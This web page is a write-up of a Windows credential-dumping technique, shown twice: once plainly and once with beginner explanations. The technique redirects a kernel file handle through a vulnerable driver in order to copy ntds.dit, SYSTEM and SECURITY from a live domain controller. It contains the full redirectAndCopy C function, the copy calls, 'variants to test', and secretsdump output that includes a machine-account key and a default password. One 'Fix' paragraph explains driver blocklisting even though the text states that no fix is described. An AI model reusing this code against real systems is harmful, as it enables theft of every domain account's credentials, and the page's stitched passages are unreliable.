Domain Credential Dumping via File Handle Redirection
The article shows how a kernel handle-table entry can be patched via a vulnerable driver so an existing innocuous file handle points at the locked Active Directory database files. An attacker with kernel-level access could then copy ntds.dit, SYSTEM and SECURITY from a live domain controller and extract domain account hashes offline.
S12 - 0x12Dark Development Follow
Published on medium.com
Welcome to this new Medium post. In this article, we’ll extend the File Handle Redirection technique to target a Domain Controller, extractingntds.dit,SYSTEM, andSECURITYfrom a live DC without touching lsass, without Volume Shadow Copy, and without opening the hive files
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This post extends a technique called File Handle Redirection, previously used against the local SAM hive, to a Domain Controller. The goal is to extract three files that the Active Directory database stack keeps open at all times:
C:\Windows\NTDS\ntds.dit: the Active Directory database, containing hashes for every domain accountC:\Windows\System32\config\SYSTEM: holds the SYSKEY needed to decrypt ntds.ditC:\Windows\System32\config\SECURITY: holds LSA Secrets, including cached domain credentials and machine account hashes
All three are locked by the kernel and inaccessible via standard file APIs. The extraction happens without touching lsass, without Volume Shadow Copy, and without opening the hive files.

Setup
The work builds on a previous post, where the same primitive was applied to the local SAM hive: patching the LowQword of a _HANDLE_TABLE_ENTRY via BYOVD to redirect a file handle's object pointer to SAM's _FILE_OBJECT, then reading the locked hive directly through that handle. That earlier result was local NTLM hash extraction without CreateFile on the hive and without any lsass interaction.
The tooling involved is a driver (drv) used for the kernel read and write primitives, a victim handle opened against an innocuous file such as notepad.exe, and a compiled executable; the code is linked from the DumpNTDS directory of the HandleRedirect repository. The offline parsing is done with Impacket's secretsdump.py.
Finding it
ntds.dit is held open exclusively by the lsass.exe hosted NTDS service. Any CreateFile attempt from another process, even as SYSTEM, fails with ERROR_SHARING_VIOLATION. VSS is the traditional workaround: it snapshots the volume and exposes a cold copy, but VSS activity is heavily logged and monitored.
The handle redirect approach sidesteps this entirely. Instead of creating a new handle to the file, the technique takes an existing handle (opened against an innocuous file like notepad.exe) and patches its kernel object pointer to point at the _FILE_OBJECT of ntds.dit. The kernel sees a valid handle, valid type, valid access mask. It never re-checks how that handle was opened.
Exploitation
The full flow for each target file is:
- Open victim File handle (notepad.exe)
- Walk own handle table: EPROCESS -> ObjectTable -> TableCode -> entryAddress
- Using getFileObjectByName(drv, target) we get the
_FILE_OBJECTof the target file - Encode new LowQword part of the handle pointing to the new target file
- We write the new token
- Finally we use the handle to read and copy the file
- When we got all the necessary files, we can directly get all the domain account hashes
Three calls cover the full DC credential set:
redirectAndCopy(drv, hVictim, entryAddress, lowQword, L"C:\\Windows\\System32\\config\\SYSTEM", L"C:\\Users\\Public\\SYSTEM.bak");ReadPrimitive(drv, &lowQword, entryAddress, sizeof(DWORD64));redirectAndCopy(drv, hVictim, entryAddress, lowQword, L"C:\\Windows\\NTDS\\ntds.dit", L"C:\\Users\\Public\\ntds.dit");ReadPrimitive(drv, &lowQword, entryAddress, sizeof(DWORD64));redirectAndCopy(drv, hVictim, entryAddress, lowQword, L"C:\\Windows\\System32\\config\\SECURITY", L"C:\\Users\\Public\\SECURITY.bak");
Each redirection is followed by a ReadPrimitive that reads the original LowQword back from the handle table entry, so the next call starts from the genuine value rather than from a patched one. The three targets are copied to C:\Users\Public as SYSTEM.bak, ntds.dit and SECURITY.bak.
Step 1: the redirectAndCopy function
The core function handles the full patch, read and restore cycle for a single target:
BOOL redirectAndCopy(HANDLE drv, HANDLE hVictim, DWORD64 entryAddress, DWORD64 lowQword, const wchar_t* targetPath, const wchar_t* destPath) { // 1. Get _FILE_OBJECT* of target DWORD64 fileObj = getFileObjectByName(drv, targetPath); if (fileObj == 0) { printf("[-] getFileObjectByName failed for %ws\n", targetPath); return FALSE; } printf("[+] FILE_OBJECT: %llX\n", fileObj); // 2. Encode new LowQword DWORD64 fileObjectHeader = fileObj - 0x30; DWORD64 metadataBits = lowQword & 0xFFFFFULL; DWORD64 objectPointerBits = (fileObjectHeader >> 4) & 0xFFFFFFFFFFFULL; DWORD64 newLowQword = (objectPointerBits << 20) | metadataBits; printf("[+] Original lowQword: %llX\n", lowQword); printf("[+] New lowQword: %llX\n", newLowQword); // 3. Patch, LowQword only, no HighQword touch WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &newLowQword, sizeof(DWORD64)); printf("[+] LowQword patched\n"); // 4. Verify wchar_t resolvedPath[MAX_PATH] = {}; DWORD len = GetFinalPathNameByHandleW(hVictim, resolvedPath, MAX_PATH, VOLUME_NAME_DOS); if (len > 0) wprintf(L"[+] Handle resolves to: %s\n", resolvedPath); else printf("[-] GetFinalPathNameByHandleW failed: %d\n", GetLastError()); // 5. Copy via OVERLAPPED reads (aligned buffer for Direct I/O) HANDLE hDest = CreateFileW(destPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hDest == INVALID_HANDLE_VALUE) { printf("[-] Failed to create dest: %d\n", GetLastError()); // Restore before returning WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &lowQword, sizeof(DWORD64)); return FALSE; } const DWORD SECTOR = 4096; const DWORD CHUNK = SECTOR * 16; BYTE* chunk = (BYTE*)VirtualAlloc(NULL, CHUNK, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!chunk) { CloseHandle(hDest); return FALSE; } DWORD64 offset = 0; DWORD totalWritten = 0; while (TRUE) { OVERLAPPED ov = {}; ov.Offset = (DWORD)(offset & 0xFFFFFFFF); ov.OffsetHigh = (DWORD)(offset >> 32); ov.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); DWORD bytesRead = 0; BOOL readOk = ReadFile(hVictim, chunk, CHUNK, NULL, &ov); DWORD err = GetLastError(); if (!readOk && err == ERROR_IO_PENDING) { if (WaitForSingleObject(ov.hEvent, 10000) == WAIT_TIMEOUT) { printf("[-] Timeout at offset 0x%llX\n", offset); CloseHandle(ov.hEvent); break; } readOk = GetOverlappedResult(hVictim, &ov, &bytesRead, FALSE); err = GetLastError(); } else if (readOk) { GetOverlappedResult(hVictim, &ov, &bytesRead, FALSE); err = GetLastError(); } CloseHandle(ov.hEvent); if (!readOk || bytesRead == 0) { printf("[*] EOF at offset 0x%llX | err: %d\n", offset, err); break; } DWORD written = 0; WriteFile(hDest, chunk, bytesRead, &written, NULL); totalWritten += written; offset += bytesRead; printf("[+] %ws: offset 0x%llX | chunk %d | total %d\r", destPath, offset, bytesRead, totalWritten); if (bytesRead < CHUNK) break; } VirtualFree(chunk, 0, MEM_RELEASE); CloseHandle(hDest); printf("\n[+] Done: %ws = %d bytes\n", destPath, totalWritten); // 6. Restore original LowQword WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &lowQword, sizeof(DWORD64)); printf("[+] LowQword restored\n"); return totalWritten > 0;}
The important parts, in order:
getFileObjectByName(drv, targetPath)resolves the_FILE_OBJECTof the locked target file through the driver. If it returns zero, the function bails out before touching anything.- The new
LowQwordis built from the object pointer. The code subtracts0x30from the_FILE_OBJECTaddress to reach the object header, shifts right by 4 and masks to 44 bits to get the object pointer bits, then shifts those left by 20 and ORs in the low 20 bits of the originalLowQwordas metadata. Only theLowQwordis written; theHighQwordis not touched. - After patching,
GetFinalPathNameByHandleWis used to verify that the victim handle now resolves to the intended path, which is printed. - The copy loop uses
OVERLAPPEDreads with a 4096-byte sector size and a chunk of 16 sectors (65536 bytes), allocated withVirtualAllocso the buffer is suitable for Direct I/O. Reads that returnERROR_IO_PENDINGare waited on with a 10-second timeout and completed withGetOverlappedResult. The loop stops on read failure, on a zero-byte read (EOF), or when a short chunk is returned. - The destination is created with
CreateFileWinCREATE_ALWAYSmode. If that fails, the originalLowQwordis restored before returning. - At the end, the original
LowQwordis written back withWritePrimitive, and the function returns whether any bytes were copied.
Step 2: running the executable
Here is the output of the .exe: Here is the output of the .exe:

Step 3: confirming the copied files
After the run, all three files are present at the destination:

Step 4: offline extraction with secretsdump
The stolen files are then parsed offline with Impacket's secretsdump.py, passing the database and both hive copies:
salsa@salsa:~/0x12DarkDevelopment/Maldev/AD/elpapadelospapas$ python3 secretsdump.py -ntds ntds.dit -system SYSTEM.bak -security SECURITY.bak LOCALImpacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies [*] Target system bootKey: [redacted][*] Dumping cached domain logon information (domain/username:hash)[*] Dumping LSA Secrets[*] $MACHINE.ACC LAB\DC01$:aes256-cts-hmac-sha1-96:[redacted]\DC01$:aes128-cts-hmac-sha1-96:[redacted]\DC01$:des-cbc-md5:3198d56b2f081a5eLAB\DC01$:plain_password_hex:[redacted]\DC01$:[redacted]:[redacted]:::[*] DefaultPassword (Unknown User):Lab@123456![*] DPAPI_SYSTEM dpapi_machinekey:[redacted]:[redacted][*] NL$KM 0000 5A 96 75 71 BA 8C 78 3E 9E F4 66 4D 07 A0 72 61 Z.uq..x>..fM..ra 0010 D7 12 0B 81 F7 2B 88 87 1F 11 C3 4D 72 D8 AD E9 .....+.....Mr... 0020 BE 78 2C FA E9 0D 76 73 66 08 F3 50 E7 A4 FC 61 .x,...vsf..P...a 0030 6C B6 66 81 38 0B 19 C0 AD 38 D1 BF E9 56 49 C0 l.f.8....8...VI.NL$KM:[redacted][-] NTDSHashes.__init__() got an unexpected keyword argument 'trustKeys'[*] Cleaning up...
The run recovers the bootKey, dumps cached domain logon information, dumps LSA Secrets including the machine account ($MACHINE.ACC) with its AES256, AES128 and DES keys and a plaintext password hex, reports a DefaultPassword for an unknown user, and prints the DPAPI_SYSTEM machine and user keys and the NL$KM value. The final NTDS hash extraction step fails with NTDSHashes.__init__() got an unexpected keyword argument 'trustKeys', so the domain account hashes themselves are not shown in this output. The script used is Impacket's secretsdump.py.
Root cause
The kernel trusts the handle table entry. When a handle is used, the kernel checks that the handle is valid, that the object type is correct and that the access mask permits the operation, but it does not re-check how the handle was originally opened. By rewriting the LowQword of the _HANDLE_TABLE_ENTRY so that the encoded object pointer refers to the _FILE_OBJECT of ntds.dit, SYSTEM or SECURITY, the existing handle from notepad.exe becomes a working handle to the locked file. The sharing violation that protects the file at CreateFile time is never consulted, because no new open is performed.
The write to the handle table entry requires a kernel write primitive, which the tooling obtains through a BYOVD driver. The original does not describe which vulnerable driver is used or how it is loaded. The technique also depends on the ability to locate the target _FILE_OBJECT by name through the driver, and on the ability to walk the process handle table to find the entry address for the victim handle.
Impact
On a live Domain Controller, an attacker who can run this tool with the necessary privileges obtains copies of ntds.dit, SYSTEM and SECURITY. From those, offline parsing yields the bootKey, cached domain logon information, LSA Secrets including the machine account keys and a plaintext password, DPAPI_SYSTEM keys and NL$KM. The Active Directory database itself contains hashes for every domain account, which the author describes as full domain compromise. The author frames the result as three redirections, three copies and one offline secretsdump call, with no lsass interaction, no VSS, no registry API and no CreateFile on any of the target files.
Fix
The post does not describe any fix or mitigation, and no vendor response is mentioned. The original does not state that any of these were applied.
Variants to test
- Apply the same redirection to other files held open exclusively by a service, such as registry hives other than the three used here. A positive result is a handle opened against an innocuous file that
GetFinalPathNameByHandleWresolves to the locked target and that can be read to EOF. - Target a different victim handle type, for example a directory handle or a handle with a different access mask, to see whether the kernel accepts the redirected entry. A positive result is a successful read of the target through the redirected handle.
- Run the three redirections in a different order, or without the intermediate
ReadPrimitivecalls, to see whether the restore step is required between targets. A positive result is all three files copied correctly with the same byte counts. - Test the copy loop against a target larger than the 65536-byte chunk to confirm the short-read and EOF handling. A positive result is a destination file whose size matches the source and whose contents parse in
secretsdump.py. - Try the technique on a member server against the local SAM and SECURITY hives to confirm the DC-specific paths are the only difference. A positive result is local hash extraction without
CreateFileon the hive.
What happened, in plain words
A security researcher published a technique for stealing the most sensitive password files on a Windows Domain Controller, the server that runs Active Directory (the central login system used by most companies). The trick is called File Handle Redirection. It does not break the lock on those files. Instead it takes a handle that already points at a harmless file, such as notepad.exe, and quietly rewrites a small piece of kernel bookkeeping so that the same handle now points at the protected file. The kernel then happily reads the protected file through that handle, because it never re-checks how the handle was originally opened.
The three files taken are:
C:\Windows\NTDS\ntds.dit: the Active Directory database, containing hashes for every domain accountC:\Windows\System32\config\SYSTEM: holds the SYSKEY needed to decrypt ntds.ditC:\Windows\System32\config\SECURITY: holds LSA Secrets, including cached domain credentials and machine account hashes
All three are locked by the kernel and inaccessible via standard file APIs. The extraction happens without touching lsass, without Volume Shadow Copy, and without opening the hive files.

Before going further, a few words on the vocabulary, because the rest of the article leans on it.
A file handle is a small number that a program receives when it opens a file. The program does not hold the file itself; it holds a ticket, and every time it wants to read or write, it shows the ticket to the operating system. Think of a cloakroom: you hand in your coat, you get a numbered tag, and later you show the tag to get the coat back. The tag is the handle.
A kernel is the core of the operating system, the part that sits between programs and the hardware and enforces the rules. When a program uses a handle, the kernel looks the number up in a table and checks that the entry is valid.
An API (Application Programming Interface) is the set of named functions an operating system offers to programs. CreateFile is one such function: it is the standard way to ask Windows to open a file. When people say a file is inaccessible via standard file APIs, they mean every normal way of asking Windows to open it is refused.
A Domain Controller (DC) is the server in a Windows network that holds the user accounts and checks passwords at login. If an attacker copies its database, they can often log in as anyone in the company.
Active Directory is Microsoft's directory service: the database of users, computers and permissions that a Domain Controller serves.
A hash is a one-way fingerprint of a password. You cannot read the password back from it directly, but an attacker can try candidate passwords, hash them, and see which one matches. That is why stolen hashes are dangerous.
lsass is the Windows process that handles logins and keeps credentials in memory. Attackers often try to read its memory, so defenders watch it closely. This technique deliberately avoids it.
Volume Shadow Copy (VSS) is a Windows feature that takes point-in-time snapshots of a disk. It is the classic way to copy a locked file, because the snapshot is a cold copy that is not in use. But VSS activity is heavily logged and monitored.
BYOVD stands for Bring Your Own Vulnerable Driver. It means an attacker supplies a legitimate but buggy driver, installs it, and uses the bug to get the kernel to do things it should not, such as reading and writing kernel memory. A driver is a low-level piece of software that runs with high privileges to talk to hardware or extend the kernel.
Setup
The work builds on a previous post, where the same primitive was applied to the local SAM hive: patching the LowQword of a _HANDLE_TABLE_ENTRY via BYOVD to redirect a file handle's object pointer to SAM's _FILE_OBJECT, then reading the locked hive directly through that handle. That earlier result was local NTLM hash extraction without CreateFile on the hive and without any lsass interaction.
The SAM hive is the local Windows account database, the one used when you log in to a single machine rather than a domain. A hive is the on-disk file that stores a branch of the Windows registry, the system's configuration database. NTLM is an older Windows authentication protocol, and an NTLM hash is the stored form of a local password.
A _HANDLE_TABLE_ENTRY is one row in the kernel's handle table. Each row records which object the handle refers to. The row is split into two halves, a LowQword and a HighQword (a "qword" is 64 bits, or 8 bytes). The LowQword carries an encoded pointer to the object, plus some metadata bits. Change those bits and the same handle now refers to a different object.
A _FILE_OBJECT is the kernel's internal representation of an open file. If you can make a handle point at the _FILE_OBJECT of a locked file, the handle effectively becomes a handle to that file.
The tooling involved is a driver (drv) used for the kernel read and write primitives, a victim handle opened against an innocuous file such as notepad.exe, and the compiled executable whose source is published in the DumpNTDS directory of the HandleRedirect repository. The offline parsing is done with Impacket's secretsdump.py.
A primitive in this context is a small, reliable capability, such as "read 8 bytes of kernel memory" or "write 8 bytes of kernel memory". Once you have a read and a write primitive, you can build larger operations on top. Impacket is a well-known open-source collection of Python tools for Windows network protocols, and secretsdump.py is its script for extracting secrets from registry hives and the AD database.
Finding it
ntds.dit is held open exclusively by the lsass.exe hosted NTDS service. Any CreateFile attempt from another process, even as SYSTEM, fails with ERROR_SHARING_VIOLATION. VSS is the traditional workaround: it snapshots the volume and exposes a cold copy, but VSS activity is heavily logged and monitored.
The NTDS service is the component that serves the Active Directory database. It keeps ntds.dit open all the time, which is why the file is locked. SYSTEM here means the highest local Windows account, the one the operating system itself runs as. Even with that much power, a normal open is refused with ERROR_SHARING_VIOLATION, the Windows error that means another program is using the file in a way that forbids sharing.
The handle redirect approach sidesteps this entirely. Instead of creating a new handle to the file, the technique takes an existing handle (opened against an innocuous file like notepad.exe) and patches its kernel object pointer to point at the _FILE_OBJECT of ntds.dit. The kernel sees a valid handle, valid type, valid access mask. It never re-checks how that handle was opened.
An access mask is the set of permissions recorded for a handle, such as read or write. The kernel checks the mask when the handle is used, but not the history of how the handle came to exist. That gap is the whole trick.
Exploitation
The full flow for each target file is:
- Open victim File handle (notepad.exe)
- Walk own handle table: EPROCESS -> ObjectTable -> TableCode -> entryAddress
- Using getFileObjectByName(drv, target) we get the
_FILE_OBJECTof the target file - Encode new LowQword part of the handle pointing to the new target file
- We write the new token
- Finally we use the handle to read and copy the file
- When we got all the necessary files, we can directly get all the domain account hashes
Step 2 needs a little unpacking. EPROCESS is the kernel's structure describing a running process. Inside it, ObjectTable points to the process's handle table. TableCode is the field that leads to the actual array of entries. Walking that chain gives the entryAddress, the memory address of the specific row for the victim handle. You need that address because the patch is a direct memory write to that row.
Three calls cover the full DC credential set:
redirectAndCopy(drv, hVictim, entryAddress, lowQword, L"C:\\Windows\\System32\\config\\SYSTEM", L"C:\\Users\\Public\\SYSTEM.bak");ReadPrimitive(drv, &lowQword, entryAddress, sizeof(DWORD64));redirectAndCopy(drv, hVictim, entryAddress, lowQword, L"C:\\Windows\\NTDS\\ntds.dit", L"C:\\Users\\Public\\ntds.dit");ReadPrimitive(drv, &lowQword, entryAddress, sizeof(DWORD64));redirectAndCopy(drv, hVictim, entryAddress, lowQword, L"C:\\Windows\\System32\\config\\SECURITY", L"C:\\Users\\Public\\SECURITY.bak");
Line by line:
- The first
redirectAndCopycall redirects the victim handle to theSYSTEMhive and copies it toC:\Users\Public\SYSTEM.bak. TheLbefore the quoted string means it is a wide (Unicode) string, which is what Windows file APIs expect. - The
ReadPrimitivecall reads 8 bytes (sizeof(DWORD64)) from the handle table entry back intolowQword. This refreshes the variable with the genuine original value, so the next call starts from the truth rather than from a patched value. - The second
redirectAndCopydoes the same forntds.dit, writing the copy toC:\Users\Public\ntds.dit. - Another
ReadPrimitiverefresheslowQwordagain. - The third
redirectAndCopyhandles theSECURITYhive, writingC:\Users\Public\SECURITY.bak.
Each redirection is followed by a ReadPrimitive that reads the original LowQword back from the handle table entry, so the next call starts from the genuine value rather than from a patched one. The three targets are copied to C:\Users\Public as SYSTEM.bak, ntds.dit and SECURITY.bak. C:\Users\Public is a folder every user on the machine can normally read and write, which makes it a convenient drop location.
Step 1: the redirectAndCopy function
The core function handles the full patch, read and restore cycle for a single target:
BOOL redirectAndCopy(HANDLE drv, HANDLE hVictim, DWORD64 entryAddress, DWORD64 lowQword, const wchar_t* targetPath, const wchar_t* destPath) { // 1. Get _FILE_OBJECT* of target DWORD64 fileObj = getFileObjectByName(drv, targetPath); if (fileObj == 0) { printf("[-] getFileObjectByName failed for %ws\n", targetPath); return FALSE; } printf("[+] FILE_OBJECT: %llX\n", fileObj); // 2. Encode new LowQword DWORD64 fileObjectHeader = fileObj - 0x30; DWORD64 metadataBits = lowQword & 0xFFFFFULL; DWORD64 objectPointerBits = (fileObjectHeader >> 4) & 0xFFFFFFFFFFFULL; DWORD64 newLowQword = (objectPointerBits << 20) | metadataBits; printf("[+] Original lowQword: %llX\n", lowQword); printf("[+] New lowQword: %llX\n", newLowQword); // 3. Patch, LowQword only, no HighQword touch WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &newLowQword, sizeof(DWORD64)); printf("[+] LowQword patched\n"); // 4. Verify wchar_t resolvedPath[MAX_PATH] = {}; DWORD len = GetFinalPathNameByHandleW(hVictim, resolvedPath, MAX_PATH, VOLUME_NAME_DOS); if (len > 0) wprintf(L"[+] Handle resolves to: %s\n", resolvedPath); else printf("[-] GetFinalPathNameByHandleW failed: %d\n", GetLastError()); // 5. Copy via OVERLAPPED reads (aligned buffer for Direct I/O) HANDLE hDest = CreateFileW(destPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hDest == INVALID_HANDLE_VALUE) { printf("[-] Failed to create dest: %d\n", GetLastError()); // Restore before returning WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &lowQword, sizeof(DWORD64)); return FALSE; } const DWORD SECTOR = 4096; const DWORD CHUNK = SECTOR * 16; BYTE* chunk = (BYTE*)VirtualAlloc(NULL, CHUNK, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!chunk) { CloseHandle(hDest); return FALSE; } DWORD64 offset = 0; DWORD totalWritten = 0; while (TRUE) { OVERLAPPED ov = {}; ov.Offset = (DWORD)(offset & 0xFFFFFFFF); ov.OffsetHigh = (DWORD)(offset >> 32); ov.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); DWORD bytesRead = 0; BOOL readOk = ReadFile(hVictim, chunk, CHUNK, NULL, &ov); DWORD err = GetLastError(); if (!readOk && err == ERROR_IO_PENDING) { if (WaitForSingleObject(ov.hEvent, 10000) == WAIT_TIMEOUT) { printf("[-] Timeout at offset 0x%llX\n", offset); CloseHandle(ov.hEvent); break; } readOk = GetOverlappedResult(hVictim, &ov, &bytesRead, FALSE); err = GetLastError(); } else if (readOk) { GetOverlappedResult(hVictim, &ov, &bytesRead, FALSE); err = GetLastError(); } CloseHandle(ov.hEvent); if (!readOk || bytesRead == 0) { printf("[*] EOF at offset 0x%llX | err: %d\n", offset, err); break; } DWORD written = 0; WriteFile(hDest, chunk, bytesRead, &written, NULL); totalWritten += written; offset += bytesRead; printf("[+] %ws: offset 0x%llX | chunk %d | total %d\r", destPath, offset, bytesRead, totalWritten); if (bytesRead < CHUNK) break; } VirtualFree(chunk, 0, MEM_RELEASE); CloseHandle(hDest); printf("\n[+] Done: %ws = %d bytes\n", destPath, totalWritten); // 6. Restore original LowQword WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &lowQword, sizeof(DWORD64)); printf("[+] LowQword restored\n"); return totalWritten > 0;}
The important parts, in order:
getFileObjectByName(drv, targetPath)resolves the_FILE_OBJECTof the locked target file through the driver. If it returns zero, the function bails out before touching anything. This is the safe first move: if the tool cannot find the target, it does not patch anything.- The new
LowQwordis built from the object pointer. The code subtracts0x30from the_FILE_OBJECTaddress to reach the object header, shifts right by 4 and masks to 44 bits to get the object pointer bits, then shifts those left by 20 and ORs in the low 20 bits of the originalLowQwordas metadata. Only theLowQwordis written; theHighQwordis not touched. In plain terms, the kernel stores the pointer in a compressed, shifted form, so the code has to encode the new address the same way before writing it. The metadata bits are kept from the original entry so the handle keeps its other properties. - After patching,
GetFinalPathNameByHandleWis used to verify that the victim handle now resolves to the intended path, which is printed. This is a sanity check: if the handle now reports the target path, the redirect worked. - The copy loop uses
OVERLAPPEDreads with a 4096-byte sector size and a chunk of 16 sectors (65536 bytes), allocated withVirtualAllocso the buffer is suitable for Direct I/O. Reads that returnERROR_IO_PENDINGare waited on with a 10-second timeout and completed withGetOverlappedResult. The loop stops on read failure, on a zero-byte read (EOF), or when a short chunk is returned.OVERLAPPEDis Windows' way of doing I/O asynchronously: the call starts the read and returns immediately, and you wait on an event for it to finish. Direct I/O means the disk reads straight into the program's buffer without an extra copy, which requires the buffer to be aligned to the sector size. EOF means end of file: a zero-byte read tells the loop there is nothing left. - The destination is created with
CreateFileWinCREATE_ALWAYSmode. If that fails, the originalLowQwordis restored before returning. Restoring on failure matters: leaving the handle pointing at the wrong object could destabilise the process. - At the end, the original
LowQwordis written back withWritePrimitive, and the function returns whether any bytes were copied. Putting the handle back the way it was keeps the system tidy and avoids side effects after the copy.
Step 2: running the executable
Here is the output of the .exe: Here is the output of the .exe:

Step 3: confirming the copied files
After the run, all three files are present at the destination:

Step 4: offline extraction with secretsdump
The stolen files are then parsed offline with Impacket's secretsdump.py, passing the database and both hive copies:
salsa@salsa:~/0x12DarkDevelopment/Maldev/AD/elpapadelospapas$ python3 secretsdump.py -ntds ntds.dit -system SYSTEM.bak -security SECURITY.bak LOCALImpacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies [*] Target system bootKey: [redacted][*] Dumping cached domain logon information (domain/username:hash)[*] Dumping LSA Secrets[*] $MACHINE.ACC LAB\DC01$:aes256-cts-hmac-sha1-96:[redacted]\DC01$:aes128-cts-hmac-sha1-96:[redacted]\DC01$:des-cbc-md5:3198d56b2f081a5eLAB\DC01$:plain_password_hex:[redacted]\DC01$:[redacted]:[redacted]:::[*] DefaultPassword (Unknown User):Lab@123456![*] DPAPI_SYSTEM dpapi_machinekey:[redacted]:[redacted][*] NL$KM 0000 5A 96 75 71 BA 8C 78 3E 9E F4 66 4D 07 A0 72 61 Z.uq..x>..fM..ra 0010 D7 12 0B 81 F7 2B 88 87 1F 11 C3 4D 72 D8 AD E9 .....+.....Mr... 0020 BE 78 2C FA E9 0D 76 73 66 08 F3 50 E7 A4 FC 61 .x,...vsf..P...a 0030 6C B6 66 81 38 0B 19 C0 AD 38 D1 BF E9 56 49 C0 l.f.8....8...VI.NL$KM:[redacted][-] NTDSHashes.__init__() got an unexpected keyword argument 'trustKeys'[*] Cleaning up...
Line by line:
- The shell prompt shows the user
salsaon a Linux machine, in a folder under0x12DarkDevelopment/Maldev/AD/. The command runspython3 secretsdump.pywith three options:-ntds ntds.ditpoints at the copied AD database,-system SYSTEM.bakpoints at the copied SYSTEM hive, and-security SECURITY.bakpoints at the copied SECURITY hive. The final wordLOCALtells the script to parse the files locally rather than connect to a remote machine. - The script prints its version banner, then
Target system bootKey: [redacted]. The bootKey (also called the SYSKEY) is the key derived from the SYSTEM hive that unlocks the encrypted secrets in the other files. Without it, the other two files are much harder to use. Dumping cached domain logon informationannounces that it is reading cached logins, which let a laptop log in when it cannot reach the domain.Dumping LSA Secretsannounces the next section. LSA Secrets are stored secrets used by the Local Security Authority, including machine account credentials.- The
$MACHINE.ACClines show the machine account of the Domain Controller,LAB\DC01$. The account name ends in$, which is how Windows marks computer accounts. For that account the output lists an AES256 key, an AES128 key, a DES key, aplain_password_hexvalue, and an NTLM-style pair of hashes. AES and DES are encryption algorithms; the hex strings are keys in those formats.plain_password_hexis the machine password in hexadecimal, which is trivially converted back to text. DefaultPassword (Unknown User):Lab@123456!reports a default password found for an unidentified account. A default password is one that was set automatically and never changed, which is a serious weakness.DPAPI_SYSTEMprints adpapi_machinekeyand adpapi_userkey. DPAPI is Windows' Data Protection API, used by programs to encrypt secrets such as saved browser passwords. With these keys, an attacker can decrypt data protected by DPAPI on that machine.NL$KMprints a hex dump and then the same value as a single string. This is a secret used to protect cached domain credentials.- The last line,
[-] NTDSHashes.__init__() got an unexpected keyword argument 'trustKeys', is an error. The script's NTDS hash extraction step failed because of a mismatch in the script's own code, so the domain account hashes themselves are not shown in this output. The[-]prefix marks an error, and[*]marks informational messages. Cleaning up...is the script tidying up temporary state before exiting.
The run recovers the bootKey, dumps cached domain logon information, dumps LSA Secrets including the machine account ($MACHINE.ACC) with its AES256, AES128 and DES keys and a plaintext password hex, reports a DefaultPassword for an unknown user, and prints the DPAPI_SYSTEM machine and user keys and the NL$KM value. The final NTDS hash extraction step fails with NTDSHashes.__init__() got an unexpected keyword argument 'trustKeys', so the domain account hashes themselves are not shown in this output. The script used is Impacket's secretsdump.py.
Root cause
The kernel trusts the handle table entry. When a handle is used, the kernel checks that the handle is valid, that the object type is correct and that the access mask permits the operation, but it does not re-check how the handle was originally opened. By rewriting the LowQword of the _HANDLE_TABLE_ENTRY so that the encoded object pointer refers to the _FILE_OBJECT of ntds.dit, SYSTEM or SECURITY, the existing handle from notepad.exe becomes a working handle to the locked file. The sharing violation that protects the file at CreateFile time is never consulted, because no new open is performed.
A useful comparison is a building pass. Security checks your pass at the door and sees a valid badge with the right colour. It does not re-run the background check every time you walk through a door. If someone can swap the photo on the badge, the doors keep opening. Here the badge is the handle table entry and the photo is the encoded object pointer.
The write to the handle table entry requires a kernel write primitive, which the tooling obtains through a BYOVD driver. The original does not describe which vulnerable driver is used or how it is loaded. The technique also depends on the ability to locate the target _FILE_OBJECT by name through the driver, and on the ability to walk the process handle table to find the entry address for the victim handle.
Impact
On a live Domain Controller, an attacker who can run this tool with the necessary privileges obtains copies of ntds.dit, SYSTEM and SECURITY. From those, offline parsing yields the bootKey, cached domain logon information, LSA Secrets including the machine account keys and a plaintext password, DPAPI_SYSTEM keys and NL$KM. The Active Directory database itself contains hashes for every domain account, which the author describes as full domain compromise. The author frames the result as three redirections, three copies and one offline secretsdump call, with no lsass interaction, no VSS, no registry API and no CreateFile on any of the target files.
"Offline" matters here: once the files are copied, the attacker can analyse them on their own machine at leisure, without touching the victim network again.
Fix
The post does not describe any fix or mitigation, and no vendor response is mentioned. The original does not state that any of these were applied.
Driver blocklisting means keeping a list of known-bad drivers and refusing to load them. Monitoring means watching logs and alerts for suspicious activity, such as a driver being installed that is not part of the normal build.
Variants to test
- Apply the same redirection to other files held open exclusively by a service, such as registry hives other than the three used here. A positive result is a handle opened against an innocuous file that
GetFinalPathNameByHandleWresolves to the locked target and that can be read to EOF. - Target a different victim handle type, for example a directory handle or a handle with a different access mask, to see whether the kernel accepts the redirected entry. A positive result is a successful read of the target through the redirected handle.
- Run the three redirections in a different order, or without the intermediate
ReadPrimitivecalls, to see whether the restore step is required between targets. A positive result is all three files copied correctly with the same byte counts. - Test the copy loop against a target larger than the 65536-byte chunk to confirm the short-read and EOF handling. A positive result is a destination file whose size matches the source and whose contents parse in
secretsdump.py. - Try the technique on a member server against the local SAM and SECURITY hives to confirm the DC-specific paths are the only difference. A positive result is local hash extraction without
CreateFileon the hive.
A member server is any Windows server in the domain that is not a Domain Controller. It has its own local SAM and SECURITY hives, so it is a simpler test bed for the same idea.
Glossary
- Access mask: the set of permissions recorded for a handle, such as read or write.
- Active Directory: Microsoft's directory service, the database of users, computers and permissions served by a Domain Controller.
- AES: a modern symmetric encryption algorithm, used here for machine account keys.
- API: Application Programming Interface, the named functions an operating system offers to programs.
- BootKey (SYSKEY): the key derived from the SYSTEM hive that unlocks encrypted secrets in the other files.
